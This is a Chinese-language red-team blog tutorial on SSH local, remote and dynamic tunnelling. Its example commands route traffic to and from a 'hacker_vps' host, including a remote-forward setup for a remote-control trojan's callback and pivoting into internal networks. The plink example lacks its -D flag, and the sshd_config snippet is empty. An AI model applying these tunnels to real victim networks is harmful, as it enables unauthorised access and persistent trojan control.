你是否有过自己身处内网,却想整个远控上线?你是否有过身处目标内网,却想把目标的内网的Linux的ssh转发出来?你是否想过穿透多层网络代理?那么,ssh隧道技术你值得学习。
I:SSH隧道是什么
- 专业一点:
SSH隧道是一种通过加密的SSH连接传输任意网络数据的方法。它可用于为遗留应用程序添加加密。它还可用于实现VPN(虚拟专用网络)和跨防火墙访问Intranet服务。原文:https://www.ssh.com/ssh/tunneling/ - 半吊子一点:
咱也知道怎么解释,咱也不知道问谁。ssh隧道就是以ssh协议为基础的隧道,比如高速公路隧道,就是以高速公路为基础的隧道。有什么用?高速公路隧道有什么用?是不是穿透一些山体(阻碍物)以达到通行的目的?那么ssh隧道也是如此,通过ssh协议去到本来不可达的目的地。
II:SSH隧道能干嘛
能干的事情非常多,举些具体例子:
- 本地远控上线,不需要什么花生壳,什么路由器映射。
- 把本地搭建的网站映射到外网,让网友访问。
- 能做代(fan)理(qiang)。
- 在内网渗透中,可以穿透多层网络,直达目标网络根部。
III:SSH隧道分三种
- 本地ssh隧道
- 远程ssh隧道
- 动态ssh隧道(代理)
IV:SSH隧道相关命令
Linux下的ssh命令参数
1
2
3
4
5
6
7
8
9root@vultr:~# ssh
usage: ssh [-1246AaCfgKkMNnqsTtVvXxYy] [-b bind_address] [-c cipher_spec]
[-D [bind_address:]port] [-E log_file] [-e escape_char]
[-F configfile] [-I pkcs11] [-i identity_file]
[-L [bind_address:]port:host:hostport] [-l login_name] [-m mac_spec]
[-O ctl_cmd] [-o option] [-p port]
[-Q cipher | cipher-auth | mac | kex | key]
[-R [bind_address:]port:host:hostport] [-S ctl_path] [-W host:port]
[-w local_tun[:remote_tun]] [user@]hostname [command]windows下的SSH
由于windows下是没有ssh的,但是有plinkhttps://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html
,命令的话跟ssh多少会有点出入。ssh隧道常用选项
1
2
3
4
5
6
7-N #告诉SSH客户端,这个连接不需要执行任何命令。仅仅做端口转发
-f #告诉SSH客户端在后台运行
-L #本地转发
-R #远程转发
-D #动态转发
-C #数据压缩
-g #在-L/-R/-D参数中,允许远程主机连接到建立的转发的端口,如果不加这个参数,只允许本地主机建立连接。注:这个参数我在实践中似乎始终不起作用。
V:SSH隧道详解与实例应用
本地ssh隧道
假设victim2
10.10.2.2
要从hacker_vps3.3.3.5
下载东西,且victim2无法直接访问到hack_vps,那么正常情况是在victim下载,然后从victim传到victim2,可如果架设本地ssh隧道,那一切都简单了。
victim2执行:ssh -C -N -L 0.0.0.0:8080:3.3.3.5:80 -p 22 root@10.10.10.10
该命令释义: 本地全部网卡监听8080
端口,然后把本地网卡监听的8080
的数据通过VPS10.10.10.10
发送的3.3.3.5
的80
端口。
现在,victim2只需要在浏览器访问http://127.0.0.1:8080
就可以访问到3.3.3.5
的80
端口开放的web服务了。
远程SSH隧道
hacker机执行:ssh -C -N -R 0.0.0.0:8080:192.168.1.5:443 -p 22 root@3.3.3.5
该命令释义: hacker_VPS会全端口监听8080
端口并把来自该端口的全部数据传到192.168.1.5
这台机器的443
端口。
那么如果我们的远控生成服务端的时候,IP就要填我们的hacker_vps这台机器的IP,在本例中就是3.3.3.5
,填写端口在本例中的端口就是8080
。**注意,在远控的客户端(本地界面端)监听端口是:443
**;而且,如果需要做远程SSH隧道,是需要配置VPS的ssh服务的,比如配置本案例中的3.3.3.5
的/etc/ssh/sshd_config
,需要加上如下配置:
1 | # all completed and restart ssh service:/etc/init.d/ssh restart |
动态SSH隧道
如上图,hacker是无法直接访问Victim2
10.10.2.2
等内网机器的,那么如果我们想在hacker192.168.1.5
这台机器直接访问到这些机器,我们可以用本地SSH隧道,但是这技术只能是点对点的,也就是一个对端口对应一个端口,没办法做的一对多,所以就有了动态SSH隧道技术。
hacker机执行:plink.exe -C -N 1080 -P 22 root@3.3.3.5
。该命令释义: 在本地监听1080
作为代理端口,该端口监听到数据都会通过Victim_out发送出去,所以就可以达到一对多的效果,也可以用来做网络(fan)代理(qiang),比如访问外网。使用方法是配合proxifer,这个的使用另开课程讲解。
说完了单个的SSH隧道的实现和案例,就要涉及多个SSH隧道的配合使用,比如远程SSH隧道配合本地SSH隧道,又或者是三种隧道方式一起使用,打通深层次的网络。使用姿势请加入培训观看。
关于我们
5号黯区是一支致力于红队攻防研究与培训的团队,官网:http://www.dark5.net